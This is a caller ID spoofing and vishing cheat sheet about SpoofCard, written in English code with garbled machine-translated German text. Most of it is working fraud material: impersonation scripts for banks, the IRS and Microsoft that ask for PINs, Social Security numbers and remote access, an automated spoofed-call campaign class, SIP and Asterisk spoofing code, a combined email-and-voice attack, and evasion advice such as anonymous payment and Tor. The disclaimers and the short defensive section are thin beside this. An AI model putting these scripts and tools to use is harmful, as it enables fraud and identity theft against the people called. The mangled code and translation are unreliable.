SpoofCard Caller ID Spoofing Cheat Sheet
Überblick
SpoofCard ist ein kommerzieller Caller ID Spoofing-Service, der es Benutzern ermöglicht, ihre Anrufer-ID-Informationen bei Telefonanrufen zu ändern. Ursprünglich für legitime Zwecke wie Datenschutz und geschäftliche Kommunikation konzipiert, ist es ein beliebtes Werkzeug in Social Engineering und vishing (voice phishing) Angriffe geworden. SpoofCard ermöglicht Angreifern, vertrauenswürdige Körperschaften zu verkörpern und ihre Anrufe von Banken, Behörden oder anderen legitimen Organisationen zu kommen.
ZEIT Warnung: Dieses Tool ist nur für autorisierte Penetrationstests und Social Engineering-Wissenschaftstraining gedacht. Die unbefugte Nutzung von Caller ID Spoofing für betrügerische Zwecke ist in vielen Gerichtsbarkeiten illegal. Stellen Sie sicher, dass Sie eine ordnungsgemäße Autorisierung haben, bevor Sie Vernichtungskampagnen durchführen.
Service Überblick
SpoofCard Features
```bash
Core Features:
- Caller ID spoofing (number and name)
- Voice changing/modulation
- Call recording
- Background noise injection
- SMS spoofing
- International calling support
- Mobile app and web interface
- API access for automation
Supported Platforms:
- Web interface (spoofcard.com)
- iOS mobile app
- Android mobile app
- API integration
- Third-party integrations
```_
Kontoaufbau
```bash
Account Registration:
1. Visit spoofcard.com
2. Create account with email
3. Verify phone number
4. Purchase credits/subscription
5. Download mobile app (optional)
Credit System:
- Pay-per-use model
- Credit packages available
- Monthly subscriptions
- Enterprise plans
- API access tiers
```_
Basisnutzung
Web Interface
```bash
Access SpoofCard Web Interface:
1. Login to spoofcard.com
2. Navigate to "Make a Call"
3. Enter target phone number
4. Enter spoofed caller ID number
5. Optionally set caller ID name
6. Select voice changer (optional)
7. Enable call recording (optional)
8. Click "Call Now"
9. Answer the call when your phone rings
10. You'll be connected to target with spoofed ID
Web Interface Features:
- Real-time call setup
- Call history tracking
- Credit balance monitoring
- Recording playback
- Contact management
```_
Mobile App Nutzung
```bash
iOS/Android App:
1. Download SpoofCard app
2. Login with account credentials
3. Tap "Make Call"
4. Enter target number
5. Enter spoof number
6. Configure additional options
7. Tap "Call"
8. Follow prompts to connect
Mobile App Features:
- Contact integration
- Quick dial presets
- Voice effects
- Call recording
- SMS spoofing
- Push notifications
```_
API Integration
```python
SpoofCard API Usage (Python)
import requests import json
class SpoofCardAPI: def init(self, api_key, account_id): self.api_key = api_key self.account_id = account_id self.base_url = "https://api.spoofcard.com/v1" self.headers = \\{ 'Authorization': f'Bearer \\{api_key\\}', 'Content-Type': 'application/json' \\}
def make_call(self, target_number, spoof_number, spoof_name=None, voice_changer=None, record=False):
"""Make a spoofed call"""
endpoint = f"\\\\{self.base_url\\\\}/calls"
payload = \\\\{
'account_id': self.account_id,
'target_number': target_number,
'spoof_number': spoof_number,
'spoof_name': spoof_name,
'voice_changer': voice_changer,
'record_call': record,
'callback_url': 'https://your-server.com/webhook'
\\\\}
response = requests.post(endpoint, headers=self.headers, json=payload)
return response.json()
def send_sms(self, target_number, spoof_number, message):
"""Send spoofed SMS"""
endpoint = f"\\\\{self.base_url\\\\}/sms"
payload = \\\\{
'account_id': self.account_id,
'target_number': target_number,
'spoof_number': spoof_number,
'message': message
\\\\}
response = requests.post(endpoint, headers=self.headers, json=payload)
return response.json()
def get_call_history(self, limit=50):
"""Get call history"""
endpoint = f"\\\\{self.base_url\\\\}/calls/history"
params = \\\\{'limit': limit\\\\}
response = requests.get(endpoint, headers=self.headers, params=params)
return response.json()
def get_recordings(self, call_id):
"""Get call recordings"""
endpoint = f"\\\\{self.base_url\\\\}/calls/\\\\{call_id\\\\}/recording"
response = requests.get(endpoint, headers=self.headers)
return response.json()
def check_balance(self):
"""Check account balance"""
endpoint = f"\\\\{self.base_url\\\\}/account/balance"
response = requests.get(endpoint, headers=self.headers)
return response.json()
Usage Example
api = SpoofCardAPI('your_api_key', 'your_account_id')
Make spoofed call
call_result = api.make_call( target_number='+1234567890', spoof_number='+1800123456', spoof_name='Bank Security', voice_changer='deeper', record=True )
print(f"Call initiated: \\{call_result\\}") ```_
Erweiterte Techniken
Voice Social Engineering Scripts
```bash
Bank Impersonation Script:
"Hello, this is [Name] from [Bank Name] Security Department. We've detected suspicious activity on your account ending in [last 4 digits]. For your security, we need to verify your identity. Can you please confirm your full account number and PIN?"
IT Support Impersonation:
"Hi, this is [Name] from IT Support. We're experiencing a security incident and need to verify your credentials. Can you please provide your username and password so we can secure your account?"
Government Agency Impersonation:
"This is [Name] from the IRS/Social Security Administration. There's an urgent matter regarding your account. We need to verify your Social Security Number and date of birth immediately."
Utility Company Impersonation:
"This is [Name] from [Utility Company]. Your service will be disconnected today due to non-payment. To avoid disconnection, please provide your account information and payment details." ```_
Sprachmodulation Techniken
```bash
SpoofCard Voice Options:
- Normal (no change)
- Deeper (lower pitch)
- Higher (higher pitch)
- Robotic (electronic effect)
- Whisper (quiet/secretive)
- Echo (reverb effect)
- Slow (reduced speed)
- Fast (increased speed)
Voice Training Tips:
- Practice different accents
- Study target organization's communication style
- Use appropriate technical terminology
- Match the urgency level to the scenario
- Prepare for common questions/objections
```_
Hintergrund Lärminjektion
```bash
Available Background Sounds:
- Office environment
- Call center noise
- Traffic/street sounds
- Airport/travel sounds
- Restaurant/public spaces
- Static/poor connection
- Construction noise
- Emergency sirens
Strategic Use of Background Noise:
- Office sounds for business calls
- Call center noise for support calls
- Poor connection to limit conversation time
- Emergency sounds for urgency
- Public spaces for mobile/urgent calls
```_
Alternative Spoofing Methoden
Open Source Lösungen
```bash
Asterisk PBX Setup for Caller ID Spoofing
Install Asterisk
sudo apt update sudo apt install asterisk
Configure extensions.conf
sudo tee -a /etc/asterisk/extensions.conf << 'EOF' [spoofing] exten => _X.,1,Set(CALLERID(num)=$\\{ARG1\\}) exten => _X.,n,Set(CALLERID(name)=$\\{ARG2\\}) exten => _X.,n,Dial(SIP/$\\{EXTEN\\}@provider) EOF
Configure sip.conf for SIP provider
sudo tee -a /etc/asterisk/sip.conf ``<< 'EOF' [provider] type=peer host=sip.provider.com username=your_username secret=your_password context=spoofing EOF
Restart Asterisk
sudo systemctl restart asterisk
Make spoofed call
asterisk -rx "originate Local/1234567890@spoofing extension 100@default" ```_
SIP-basiertes Spoofing
```python
Python SIP spoofing with pjsua
import pjsua as pj
class SIPSpoofer: def init(self): self.lib = pj.Lib() self.account = None
def initialize(self, sip_server, username, password):
"""Initialize SIP library and account"""
try:
# Initialize library
self.lib.init(log_cfg=pj.LogConfig(level=3, callback=self.log_cb))
# Create transport
transport = self.lib.create_transport(pj.TransportType.UDP,
pj.TransportConfig(5060))
# Start library
self.lib.start()
# Create account
acc_cfg = pj.AccountConfig()
acc_cfg.id = f"sip:\\\{username\\\}@\\\{sip_server\\\}"
acc_cfg.reg_uri = f"sip:\\\{sip_server\\\}"
acc_cfg.auth_cred = [pj.AuthCred("*", username, password)]
self.account = self.lib.create_account(acc_cfg)
print("[+] SIP account initialized successfully")
return True
except pj.Error as e:
print(f"[-] SIP initialization failed: \\\{e\\\}")
return False
def make_spoofed_call(self, target_number, spoof_number, spoof_name=None):
"""Make call with spoofed caller ID"""
try:
# Set caller ID
call_cfg = pj.CallConfig()
call_cfg.vid_cnt = 0
# Create custom headers for spoofing
headers = []
headers.append(f"From: \"\\\{spoof_name or spoof_number\\\}\" <sip:\\\{spoof_number\\\}@spoofed.com>``")
headers.append(f"P-Asserted-Identity: ``<sip:\\\{spoof_number\\\}@spoofed.com>``")
headers.append(f"Remote-Party-ID: \"\\\\{spoof_name or spoof_number\\\\}\" ``<sip:\\\{spoof_number\\\}@spoofed.com>``")
# Make call
call = self.account.make_call(f"sip:\\\\{target_number\\\\}@sip.provider.com",
call_cfg, headers)
print(f"[+] Spoofed call initiated to \\\\{target_number\\\\} from \\\\{spoof_number\\\\}")
return call
except pj.Error as e:
print(f"[-] Call failed: \\\\{e\\\\}")
return None
def log_cb(self, level, str, len):
"""Logging callback"""
print(f"[SIP] \\\\{str.strip()\\\\}")
def cleanup(self):
"""Cleanup SIP resources"""
if self.lib:
self.lib.destroy()
Usage
spoofer = SIPSpoofer() if spoofer.initialize("sip.provider.com", "username", "password"): call = spoofer.make_spoofed_call("+1234567890", "+1800123456", "Bank Security")
# Keep call active
input("Press Enter to hang up...")
if call:
call.hangup()
spoofer.cleanup()
```_
FreePBX Integration
```bash
Install FreePBX for advanced call routing
Download and install FreePBX
wget http://mirror.freepbx.org/modules/packages/freepbx/freepbx-15.0-latest.tgz tar xzf freepbx-15.0-latest.tgz cd freepbx
Install dependencies
sudo apt install apache2 mysql-server php php-mysql php-mbstring
Configure FreePBX
sudo ./install -n
Access web interface at http://localhost/admin
Configure trunks and outbound routes for spoofing
Custom dialplan for spoofing
Add to extensions_custom.conf:
[custom-spoofing] exten => X.,1,Set(CALLERID(num)=$\\{CALLERID(num):0:10\\}) exten => _X.,n,Set(CALLERID(name)=Spoofed Name) exten => _X.,n,Dial($\\{TRUNK\\}/$\\{EXTEN\\}) ```
Automatisierung und Schrift
Automatisierte Vishing Campaign
```python
!/usr/bin/env python3
Automated vishing campaign using SpoofCard API
import csv import time import random import logging from datetime import datetime from spoofcard_api import SpoofCardAPI
class VishingCampaign: def init(self, api_key, account_id): self.api = SpoofCardAPI(api_key, account_id) self.targets = [] self.results = [] self.scripts = \\{\\}
# Setup logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler('vishing_campaign.log'),
logging.StreamHandler()
]
)
self.logger = logging.getLogger(__name__)
def load_targets(self, csv_file):
"""Load target list from CSV file"""
try:
with open(csv_file, 'r') as f:
reader = csv.DictReader(f)
self.targets = list(reader)
self.logger.info(f"Loaded \\\\{len(self.targets)\\\\} targets from \\\\{csv_file\\\\}")
return True
except Exception as e:
self.logger.error(f"Failed to load targets: \\\\{e\\\\}")
return False
def load_scripts(self, scripts_file):
"""Load vishing scripts from JSON file"""
try:
with open(scripts_file, 'r') as f:
self.scripts = json.load(f)
self.logger.info(f"Loaded \\\\{len(self.scripts)\\\\} scripts")
return True
except Exception as e:
self.logger.error(f"Failed to load scripts: \\\\{e\\\\}")
return False
def select_spoof_number(self, target_info):
"""Select appropriate spoof number based on target"""
# Bank numbers for financial targets
bank_numbers = [
'+18001234567', # Generic bank
'+18009876543', # Credit union
'+18005551234' # Investment firm
]
# Government numbers
gov_numbers = [
'+18001234567', # IRS
'+18009876543', # Social Security
'+18005551234' # Medicare
]
# IT support numbers
it_numbers = [
'+18001234567', # Microsoft
'+18009876543', # Apple
'+18005551234' # Google
]
# Select based on target type or random
target_type = target_info.get('type', 'general')
if target_type == 'financial':
return random.choice(bank_numbers)
elif target_type == 'government':
return random.choice(gov_numbers)
elif target_type == 'tech':
return random.choice(it_numbers)
else:
return random.choice(bank_numbers + gov_numbers + it_numbers)
def make_vishing_call(self, target):
"""Make individual vishing call"""
try:
# Select spoof number and script
spoof_number = self.select_spoof_number(target)
script_type = target.get('script_type', 'bank')
script = self.scripts.get(script_type, \\\\{\\\\})
# Prepare call parameters
call_params = \\\\{
'target_number': target['phone'],
'spoof_number': spoof_number,
'spoof_name': script.get('caller_name', 'Security Department'),
'voice_changer': script.get('voice_effect', 'normal'),
'record': True
\\\\}
# Log call attempt
self.logger.info(f"Calling \\\\{target['phone']\\\\} from \\\\{spoof_number\\\\}")
# Make call
result = self.api.make_call(**call_params)
# Record result
call_result = \\\\{
'timestamp': datetime.now().isoformat(),
'target_phone': target['phone'],
'target_name': target.get('name', 'Unknown'),
'spoof_number': spoof_number,
'script_type': script_type,
'call_id': result.get('call_id'),
'status': result.get('status'),
'success': result.get('success', False)
\\\\}
self.results.append(call_result)
if call_result['success']:
self.logger.info(f"Call successful: \\\\{target['phone']\\\\}")
else:
self.logger.warning(f"Call failed: \\\\{target['phone']\\\\} - \\\\{result.get('error')\\\\}")
return call_result
except Exception as e:
self.logger.error(f"Call error for \\\\{target['phone']\\\\}: \\\\{e\\\\}")
return None
def run_campaign(self, delay_min=30, delay_max=300):
"""Run complete vishing campaign"""
self.logger.info(f"Starting vishing campaign with \\\\{len(self.targets)\\\\} targets")
for i, target in enumerate(self.targets):
# Make call
result = self.make_vishing_call(target)
# Random delay between calls
if i < len(self.targets) - 1: # Don't delay after last call
delay = random.randint(delay_min, delay_max)
self.logger.info(f"Waiting \\\\{delay\\\\} seconds before next call...")
time.sleep(delay)
# Generate final report
self.generate_report()
self.logger.info("Vishing campaign completed")
def generate_report(self):
"""Generate campaign report"""
try:
total_calls = len(self.results)
successful_calls = len([r for r in self.results if r['success']])
success_rate = (successful_calls / total_calls * 100) if total_calls > 0 else 0
report = \\\\{
'campaign_summary': \\\\{
'total_targets': len(self.targets),
'total_calls': total_calls,
'successful_calls': successful_calls,
'success_rate': f"\\\\{success_rate:.2f\\\\}%",
'start_time': self.results[0]['timestamp'] if self.results else None,
'end_time': self.results[-1]['timestamp'] if self.results else None
\\\\},
'detailed_results': self.results
\\\\}
# Save report
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
report_file = f"vishing_report_\\\\{timestamp\\\\}.json"
with open(report_file, 'w') as f:
json.dump(report, f, indent=2)
self.logger.info(f"Campaign report saved: \\\\{report_file\\\\}")
self.logger.info(f"Success rate: \\\\{success_rate:.2f\\\\}% (\\\\{successful_calls\\\\}/\\\\{total_calls\\\\})")
except Exception as e:
self.logger.error(f"Failed to generate report: \\\\{e\\\\}")
Usage example
def main(): # Initialize campaign campaign = VishingCampaign('your_api_key', 'your_account_id')
# Load targets and scripts
if campaign.load_targets('targets.csv') and campaign.load_scripts('scripts.json'):
# Run campaign
campaign.run_campaign(delay_min=60, delay_max=300)
else:
print("Failed to load campaign data")
if name == "main": main() ```_
Zielliste Management
```python
Target list generator and manager
import csv import json import random from faker import Faker
class TargetListManager: def init(self): self.fake = Faker() self.targets = []
def generate_test_targets(self, count=100):
"""Generate test target list"""
target_types = ['financial', 'government', 'tech', 'general']
for _ in range(count):
target = \\\\{
'name': self.fake.name(),
'phone': self.fake.phone_number(),
'email': self.fake.email(),
'type': random.choice(target_types),
'script_type': random.choice(['bank', 'irs', 'tech_support']),
'priority': random.choice(['high', 'medium', 'low']),
'notes': self.fake.text(max_nb_chars=100)
\\\\}
self.targets.append(target)
def save_targets_csv(self, filename):
"""Save targets to CSV file"""
if not self.targets:
return False
fieldnames = self.targets[0].keys()
with open(filename, 'w', newline='') as f:
writer = csv.DictWriter(f, fieldnames=fieldnames)
writer.writeheader()
writer.writerows(self.targets)
return True
def load_targets_csv(self, filename):
"""Load targets from CSV file"""
try:
with open(filename, 'r') as f:
reader = csv.DictReader(f)
self.targets = list(reader)
return True
except:
return False
def filter_targets(self, criteria):
"""Filter targets based on criteria"""
filtered = []
for target in self.targets:
match = True
for key, value in criteria.items():
if key in target and target[key] != value:
match = False
break
if match:
filtered.append(target)
return filtered
Usage
manager = TargetListManager() manager.generate_test_targets(50) manager.save_targets_csv('test_targets.csv') ```_
Script Vorlagen
json
\\\\{
"bank": \\\\{
"caller_name": "Bank Security",
"voice_effect": "normal",
"script": "Hello, this is \\\\{caller_name\\\\} from \\\\{bank_name\\\\}. We've detected suspicious activity on your account. For security purposes, we need to verify your identity. Can you please confirm your account number and PIN?",
"followup_questions": [
"What was your last transaction amount?",
"Can you verify your mother's maiden name?",
"What is your date of birth?"
],
"urgency_phrases": [
"immediate action required",
"account will be frozen",
"suspicious activity detected"
]
\\\\},
"irs": \\\\{
"caller_name": "IRS Agent",
"voice_effect": "deeper",
"script": "This is \\\\{caller_name\\\\} from the Internal Revenue Service. There's an urgent matter regarding your tax return. You have unpaid taxes and penalties. To avoid legal action, we need to process payment immediately.",
"followup_questions": [
"What is your Social Security Number?",
"Can you confirm your full name and address?",
"Do you have access to online banking?"
],
"urgency_phrases": [
"legal action will be taken",
"arrest warrant issued",
"immediate payment required"
]
\\\\},
"tech_support": \\\\{
"caller_name": "Microsoft Support",
"voice_effect": "normal",
"script": "Hello, this is \\\\{caller_name\\\\} from Microsoft Technical Support. We've detected malware on your computer that's compromising your personal information. We need remote access to fix this immediately.",
"followup_questions": [
"Are you near your computer?",
"Can you see the Windows key?",
"What antivirus software do you use?"
],
"urgency_phrases": [
"computer is infected",
"personal data at risk",
"immediate action needed"
]
\\\\}
\\\\}_
Integration mit anderen Tools
GoPhys Integration
```python
Combine SpoofCard with GoPhish for multi-vector attacks
import requests from spoofcard_api import SpoofCardAPI
class MultiVectorCampaign: def init(self, spoofcard_api, gophish_api): self.spoofcard = spoofcard_api self.gophish = gophish_api
def run_coordinated_attack(self, target):
"""Run coordinated email + voice attack"""
# Send phishing email first
email_result = self.gophish.send_email(
target['email'],
'Account Security Alert',
'Your account requires immediate verification'
)
# Wait for email to be delivered
time.sleep(300) # 5 minutes
# Follow up with spoofed call
call_result = self.spoofcard.make_call(
target['phone'],
'+18001234567',
'Security Department'
)
return \\\\{
'email_result': email_result,
'call_result': call_result
\\\\}
```_
Social Media Intelligence
```python
Gather intelligence for targeted vishing
import requests from bs4 import BeautifulSoup
class SocialIntelligence: def init(self): self.session = requests.Session()
def gather_target_info(self, target_name, target_phone):
"""Gather information about target"""
info = \\\\{
'name': target_name,
'phone': target_phone,
'social_profiles': [],
'employer': None,
'interests': [],
'family_members': []
\\\\}
# Search social media platforms
# LinkedIn, Facebook, Twitter, etc.
# (Implementation would depend on available APIs)
return info
def customize_script(self, target_info, base_script):
"""Customize vishing script based on target info"""
customized = base_script
# Personalize with gathered information
if target_info.get('employer'):
customized = customized.replace(
'your company',
target_info['employer']
)
if target_info.get('interests'):
# Add relevant context based on interests
pass
return customized
```_
Call Recording Analyse
```python
Analyze call recordings for success indicators
import speech_recognition as sr from pydub import AudioSegment
class CallAnalyzer: def init(self): self.recognizer = sr.Recognizer()
def analyze_recording(self, audio_file):
"""Analyze call recording for success indicators"""
try:
# Convert to WAV if needed
audio = AudioSegment.from_file(audio_file)
audio.export("temp.wav", format="wav")
# Transcribe audio
with sr.AudioFile("temp.wav") as source:
audio_data = self.recognizer.record(source)
transcript = self.recognizer.recognize_google(audio_data)
# Analyze transcript for success indicators
success_indicators = [
'account number', 'social security', 'password',
'pin number', 'date of birth', 'mother maiden name'
]
indicators_found = []
for indicator in success_indicators:
if indicator.lower() in transcript.lower():
indicators_found.append(indicator)
return \\\\{
'transcript': transcript,
'success_indicators': indicators_found,
'success_score': len(indicators_found) / len(success_indicators)
\\\\}
except Exception as e:
return \\\\{'error': str(e)\\\\}
```_
Recht und Compliance
Rechtliche Überlegungen
```bash
Legal Framework:
- Caller ID spoofing laws vary by jurisdiction
- Truth in Caller ID Act (US) - prohibits malicious spoofing
- Telephone Consumer Protection Act (TCPA)
- General Data Protection Regulation (GDPR) - EU
- Personal Information Protection and Electronic Documents Act (PIPEDA) - Canada
Authorized Testing Requirements:
- Written authorization from target organization
- Clear scope and limitations
- Data protection agreements
- Incident response procedures
- Legal review of testing methodology
```_
Konformitätsdokumentation
```bash
Required Documentation:
1. Authorization Letter
2. Scope of Work (SOW)
3. Rules of Engagement (ROE)
4. Data Handling Procedures
5. Incident Response Plan
6. Final Report Template
Example Authorization Letter:
"[Organization] hereby authorizes [Tester] to conduct social engineering testing including voice phishing (vishing) attacks against specified employees for the purpose of security awareness assessment. This authorization is valid from [start date] to [end date] and covers the following activities: [list activities]." ```_
Datenschutz
```python
Secure data handling for vishing campaigns
import cryptography from cryptography.fernet import Fernet
class SecureDataHandler: def init(self): self.key = Fernet.generate_key() self.cipher = Fernet(self.key)
def encrypt_target_data(self, data):
"""Encrypt sensitive target information"""
json_data = json.dumps(data)
encrypted = self.cipher.encrypt(json_data.encode())
return encrypted
def decrypt_target_data(self, encrypted_data):
"""Decrypt target information"""
decrypted = self.cipher.decrypt(encrypted_data)
return json.loads(decrypted.decode())
def secure_delete(self, filename):
"""Securely delete sensitive files"""
import os
import random
# Overwrite file with random data
filesize = os.path.getsize(filename)
with open(filename, "r+b") as f:
for _ in range(3): # Multiple passes
f.seek(0)
f.write(os.urandom(filesize))
f.flush()
os.fsync(f.fileno())
# Delete file
os.remove(filename)
```_
Defensive Maßnahmen
Nachweistechniken
```bash
Caller ID Spoofing Detection:
- Callback verification
- Voice pattern analysis
- Call timing analysis
- Caller behavior assessment
- Technical indicators (audio quality, background noise)
Organizational Defenses:
- Employee training programs
- Verification procedures
- Callback policies
- Incident reporting systems
- Regular security awareness updates
```_
Mitarbeiterschulung
```bash
Vishing Awareness Training Topics:
1. Common vishing techniques
2. Caller ID spoofing capabilities
3. Verification procedures
4. Red flags and warning signs
5. Proper incident reporting
6. Company policies and procedures
Training Scenarios:
- Bank impersonation calls
- IT support scams
- Government agency impersonation
- Vendor/supplier verification
- Emergency situations
```_
Technische Gegenmaßnahmen
```python
Implement caller verification system
class CallerVerification: def init(self): self.trusted_numbers = set() self.verification_codes = \\{\\}
def add_trusted_number(self, number, organization):
"""Add trusted caller number"""
self.trusted_numbers.add((number, organization))
def verify_caller(self, caller_number, claimed_organization):
"""Verify if caller is legitimate"""
# Check against trusted numbers
if (caller_number, claimed_organization) in self.trusted_numbers:
return True
# Generate verification code for callback
import random
code = random.randint(100000, 999999)
self.verification_codes[caller_number] = code
return False
def callback_verification(self, number, provided_code):
"""Verify callback with code"""
expected_code = self.verification_codes.get(number)
return expected_code == provided_code
```_
Fehlerbehebung
Gemeinsame Themen
```bash
SpoofCard Service Issues:
- Insufficient credits
- Invalid phone numbers
- Service outages
- API rate limits
- Account restrictions
Technical Problems:
- Poor call quality
- Connection failures
- Recording issues
- Voice changer problems
- Mobile app crashes
Solutions:
- Check account balance
- Verify phone number formats
- Test with different numbers
- Contact SpoofCard support
- Use alternative spoofing methods
```_
Alternative Dienstleistungen
```bash
Other Caller ID Spoofing Services:
- SpoofTel
- Fake Caller ID
- Caller ID Faker
- Spoof My Phone
- Bluff My Call
Open Source Alternatives:
- Asterisk PBX
- FreePBX
- SIP clients with spoofing
- VoIP providers with CLI modification
- Custom SIP implementations
```_
Qualitätssicherung
```bash
Call Quality Checklist:
- Clear audio quality
- Appropriate background noise
- Consistent caller ID display
- Voice changer effectiveness
- Recording functionality
- Connection stability
Testing Procedures:
- Test calls to known numbers
- Verify caller ID display
- Check recording quality
- Test voice effects
- Validate API responses
- Monitor success rates
```_
Best Practices
Kampagnenplanung
- Target Research: umfassende Informationen zu Zielen sammeln
- Script Development: Erstellen Sie überzeugende, personalisierte Skripte
- *Timing Strategie: Rufen Sie während optimaler Stunden für Zieldemografiken an
- Voice Training: Praxis Lieferung und Griff Einwände
- Technisches Setup: Alle Geräte und Dienstleistungen vorher testen
Operationelle Sicherheit
```bash
OPSEC Considerations:
- Use anonymous payment methods
- Rotate spoofed numbers
- Vary call timing patterns
- Use different voice effects
- Avoid repeated targeting
- Monitor for detection
Infrastructure Security:
- Use VPN/Tor for API access
- Secure data storage
- Encrypted communications
- Regular security audits
- Incident response procedures
```_
Ethische Leitlinien
```bash
Ethical Vishing Testing:
- Obtain proper authorization
- Limit scope to agreed targets
- Protect captured information
- Provide security awareness training
- Document lessons learned
- Follow responsible disclosure
Post-Campaign Actions:
- Immediate debriefing
- Security awareness training
- Policy recommendations
- Technical improvements
- Regular follow-up assessments
```_
Ressourcen
- [SpoofCard Offizielle Website](__LINK_5___ -%20Wahrheit%20im%20Caller%20ID%20Act
- [TCPA Compliance Guide](__LINK_5___
- [Social Engineering Framework](__LINK_5___
- [NIST Cybersecurity Framework](__LINK_5___
--
*Dieses Betrügereiblatt bietet eine umfassende Referenz für die Verwendung von SpoofCard und verwandten Caller ID Spoofing-Techniken. Stellen Sie immer sicher, dass Sie eine ordnungsgemäße Autorisierung haben, bevor Sie vishing-Kampagnen oder stimmbasierte Social Engineering-Tests durchführen. *